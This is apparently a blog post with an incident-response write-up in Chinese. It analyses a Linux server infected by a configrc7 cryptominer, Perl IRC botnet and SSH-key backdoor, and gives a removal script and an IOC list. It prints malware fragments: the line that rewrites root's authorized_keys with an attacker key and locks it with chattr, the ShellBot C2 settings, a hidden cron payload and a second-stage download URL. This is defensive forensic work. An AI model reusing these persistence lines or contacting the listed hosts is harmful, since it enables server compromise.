云计算百科
云计算领域专业知识百科平台

服务器被黑挖矿 + SSH 后门:一次 configrc7 家族病毒完整溯源与专杀实录

标签:#Linux安全 #挖矿木马 #后门清除 #应急响应

0. 写在前面

今天下午收到两条云厂商告警:服务器在非常用地登录,并且开始对外发起 TCP:22 攻击,平台直接把这台 ECS 的出站 22 端口封了。登上机器一看,CPU 没飙高,但 /root 下多了两个隐藏目录:.configrc7 和 .ssh。随后的静态分析让我有点意外——这已经不是单纯的挖矿脚本了,而是挖矿 + IRC 远控后门 + SSH 公钥后门 + 看门狗 + 日志擦除的组合套件。本文记录从发现、分析到清除的完整过程,并放出可直接使用的专杀脚本。

核心结论前置: 这台服务器已被取得 root,且存在多条持久化通道。清完样本≠安全,必须改密码、换密钥、排查所有后门,必要时重装。


1. 事发:云平台的连环告警

先上两张告警截图。

图1:服务器异常登录提醒,显示非常用地登录

图2:云服务器对外发起 TCP:22 攻击,已被平台阻断
收到第一条“异常登录”时我还在想是不是自己忘了关代理;第二条“对外攻击 TCP:22”基本坐实:机器被黑,并且黑客在拿它继续横向扫描/爆破其他服务器。平台把出向 22 端口封到次日,等于强制把我按在桌前处理。


2. 现场勘查:两个不起眼的隐藏目录

登录服务器后第一步看 /root,因为告警是 root 登录。很快发现两个异常目录:

图3:/root 下出现 .configrc7 与 .ssh 两个隐藏目录,权限分别为 755/root 和 700/root

图4:.ssh 目录权限为 700,所属用户/组为 root

注意两个细节:

  • .configrc7 修改时间是 15:15:15,.ssh 是 15:19:11,二者相差约 4 分钟,符合“先投挖矿、再装 SSH 后门”的时间线。
  • .ssh 被设为 700 且可能加了 chattr +ia(后面会验证),受害者自己删不掉 authorized_keys。
  • 我先把这个目录树打包下载到本地分析环境,全程只读静态分析,绝不执行任何样本。


    3. 样本静态分析:一个“套餐”式病毒

    样本结构如下(在被感染服务器上的路径为 /root/.configrc7):

    /root/.configrc7/
    ├── a/ # 挖矿组件
    │ ├── crond # 主挖矿二进制(UPX 打包的 XMRig 家族 ELF,2.2MB)
    │ ├── cert.pem # 自签名证书(CN=localhost)
    │ ├── cert_key.pem
    │ ├── run # 启动脚本:stop -> nohup ./crond -> 写 bash.pid
    │ ├── stop # 杀掉竞品/历史挖矿进程名
    │ ├── upd # 看门狗,被杀后自动重启 ./run
    │ ├── a # 安装器:写 MSR、配大页、设 /usr/bin 只读
    │ ├── init01/init02 # 批量清理其它挖矿木马
    │ ├── delsshd # 清理竞品启动项
    │ └── rmkwork # 日志擦除 + 下载二级载荷 kw0rker
    ├── b/ # 后门组件
    │ ├── run # 自解压脚本:内嵌 3 个 Perl IRC bot + 安装 SSH 公钥
    │ ├── a # 入口:cd /root/.configrc7/b; ./run
    │ ├── stop # 清场:杀 edac0 / sync / ps / pool 等
    │ └── sync # 看门狗
    └── cron.d # 持久化计划任务

    3.1 挖矿组件 a/

    a/crond 是 UPX 打包的 ELF,体积 2.2MB,运行后进程名显示为 crond(伪装)。通过 strings 可看到 msr/xmr/pool 及 UPX 特征,确认是 XMRig 门罗币挖矿程序。配套脚本做了 XMRig 典型的 CPU 调优:

    # 来自 a/a 中的 optimize_func
    wrmsr -a 0xc0011020 0x4400000000000 # AMD Zen 寄存器调优
    wrmsr -a 0x1a4 0xf # Intel 禁用预取
    sysctl -w vm.nr_hugepages=$(nproc) # 大页内存

    a/run 负责启动:./stop 先清场 → nohup ./crond 挖矿 → 把 PID 写进 bash.pid。a/upd 作为看门狗,每分钟检查 PID 是否存活,死了就重启。

    3.2 IRC 后门组件 b/

    b/run 表面上是个 111KB 的 shell 脚本,开头三行:

    #!/bin/sh
    nohup ./stop>>/dev/null &
    sleep 5

    随后 echo 出三段 base64,解码后是 3 个 Perl “Stealth ShellBot” IRC 后门:

    my $processo = 'edac0'; # 伪装进程名
    $servidor='0xB32B8B53'; # 十六进制编码的 IP = 179.43.139.83
    my $porta='443';
    my @canais=("#001"); # IRC 频道
    my @adms=("molly","polly"); # 管理员昵称

    三个后门分别指向:

    服务器端口频道伪装进程
    179.43.139.83 443 #001 edac0
    179.43.139.83 443 #001 edac0
    209.99.186.7 443 #009 edac0

    也就是说,机器不只是被挖矿,还被并入了 IRC 僵尸网络,随时可能被下发 DDoS、下载、反弹 shell 等指令。

    更狠的是 b/run 末尾这几行:

    chattr -ia -R ~/.ssh
    cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4…== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh
    chattr +ia -R ~/.ssh

    直接重写 root 的 authorized_keys 并加 immutable 锁。这就是告警里“异常登录”的来源——黑客给自己留了永久 SSH 通道,改密码都拦不住。

    3.3 第三处隐藏载荷

    cron.d 里还藏了一条:

    0 0 */3 * * /tmp/.X291-unix/.rsync/c/aptitude >/dev/null 2>&1

    这是独立于 a/b 的第三段持久化,说明 /tmp/.X291-unix 下也可能有载荷,需要一并清理。

    3.4 持久化与反清理手段

    样本把 Linux 下能用的反清理手段基本用了一遍:

  • 计划任务:@reboot 启动看门狗,保证开机复活;
  • 看门狗:a/upd、b/sync 监控进程,被杀即重启;
  • 不可变属性:chattr +ia 锁 .ssh、~/.configrc7、/usr/bin/systemtd;
  • 隐藏工具:把真实 chattr 重命名为 lkei,让受害者找不到 chattr;
  • 目录只读:安装器 chmod -w /usr/bin,导致你无法在 /usr/bin 里新增/删除文件;
  • 诱饵文件:创建 /usr/bin/systemtd 不可变空文件;
  • 日志擦除:rmkwork 清空 /var/log/auth.log、wtmp、lastlog、btmp、utmp 等;
  • 竞争清理:init01/init02 里有一长串竞品挖矿木马名单,目的不是做好事,而是为了独占 CPU。

  • 4. 处置:专杀脚本 configrc7_killer.sh

    基于以上 IOC,我写了一个专杀脚本。设计原则:

    • 按路径/命令行精确匹配,不误杀系统正常 crond;
    • 先恢复环境(chattr、/usr/bin 写权限),再删文件;
    • 仅删除攻击者 SSH 公钥,保留用户自己的合法 key;
    • 支持 DRYRUN=1 先演练,支持 QUARANTINE=1 隔离不删除。

    脚本逻辑:

    1. 恢复 /usr/bin 写权限,还原被重命名的 chattr (lkei)
    2. chattr -iaR 解除已知路径的不可变属性
    3. 按 exe/cwd/cmdline 杀恶意进程,并按 C2 连接补刀
    4. 删除/隔离 /root/.configrc7、/tmp/.X291-unix、/usr/bin/systemtd
    5. 清理攻击者 SSH 公钥,修正 .ssh 权限
    6. 清理 crontab 持久化
    7. iptables 阻断 C2 IP
    8. 验证残留

    核心代码片段(完整脚本见附件或文末链接):

    # 精确杀进程,不误伤系统 crond
    for pid in $(ls /proc | grep -E '^[0-9]+$'); do
    exe=$(readlink /proc/$pid/exe 2>/dev/null)
    cwd=$(readlink /proc/$pid/cwd 2>/dev/null)
    cmd=$(tr '\\0' ' ' < /proc/$pid/cmdline 2>/dev/null)
    case "$exe" in *".configrc7"*|*".X291-unix"*) kill -9 $pid;; esac
    case "$cwd" in *".configrc7"*|*".X291-unix"*) kill -9 $pid;; esac
    case "$cmd" in *".configrc7"*|"edac0"*|"kw0rker"*) kill -9 $pid;; esac
    done

    # 仅删除攻击者公钥(保留合法 key)
    ATTACKER_KEY="AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4"
    grep -vF "$ATTACKER_KEY" "$f" > "$f.tmp" && mv "$f.tmp" "$f"

    使用方法

    # 0. 以 root 上传到被感染服务器
    chmod +x configrc7_killer.sh

    # 1. 先只读演练
    DRYRUN=1 bash configrc7_killer.sh

    # 2. 正式清除
    bash configrc7_killer.sh

    # 3. 若想保留样本做进一步分析
    QUARANTINE=1 bash configrc7_killer.sh

    执行后查看 /var/log/configrc7_killer.log 与 verify() 输出,确认无残留进程和 crontab。


    5. 清除后的必做善后

    再次强调:样本被清掉不等于机器安全。 因为它已取得 root 并植入了 SSH 后门,理论上可以写任意文件、改任意配置。清除样本后必须做:

  • 改所有 SSH 密码,包括 root 和其他所有账户;
  • 轮换所有密钥,检查每个用户的 ~/.ssh/authorized_keys;
  • 排查隐藏后门:systemctl list-units、/etc/rc.local、/etc/profile.d/、/etc/init.d/、/etc/cron.*;
  • 防火墙封禁 C2:179.43.139.83、209.99.186.7、208.84.102.192;
  • 如无法确认干净,建议重装系统或从可信备份恢复。

  • 6. 复盘与防御建议

    这次入侵的入口最可能是 SSH 弱口令 / 密钥泄露。防御建议:

    • 禁止 root 密码登录,改用密钥登录;
    • 修改默认 22 端口,或限制来源 IP;
    • 安装 fail2ban / 云厂商安全组做登录频次限制;
    • 敏感服务器关闭公网 SSH,改走跳板机 / 堡垒机;
    • 定期备份 + 监控 /root /tmp /var/tmp 下异常隐藏目录;
    • 重要业务资产启用防篡改(但不是靠 chattr +ia 这种可绕过的小技巧)。

    附录:完整 IOC 清单

    类型IOC
    安装目录 /root/.configrc7/a/、/root/.configrc7/b/
    隐藏载荷 /tmp/.X291-unix/.rsync/c/aptitude
    挖矿进程 真实路径含 .configrc7/a/crond,进程名伪装为 crond
    IRC bot 进程 伪装进程名 edac0
    SSH 后门公钥 ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4…== mdrfckr
    看门狗 /root/.configrc7/a/upd、/root/.configrc7/b/sync
    诱饵/锁文件 /usr/bin/systemtd、被重命名的 /usr/bin/lkei
    C2 IP 179.43.139.83:443、209.99.186.7:443
    二级下载 http://208.84.102.192/kw0rker
    计划任务标记 .configrc7、.X291、/a/upd、/b/sync、aptitude

    如果你也遇到 .configrc7 这个目录,可以直接用上面的专杀脚本。如果脚本在你的发行版上跑不通,欢迎在评论区贴报错,我会持续更新。

    赞(0)
    未经允许不得转载:网硕互联帮助中心 » 服务器被黑挖矿 + SSH 后门:一次 configrc7 家族病毒完整溯源与专杀实录
    分享到: 更多 (0)

    评论 抢沙发

    评论前必须登录!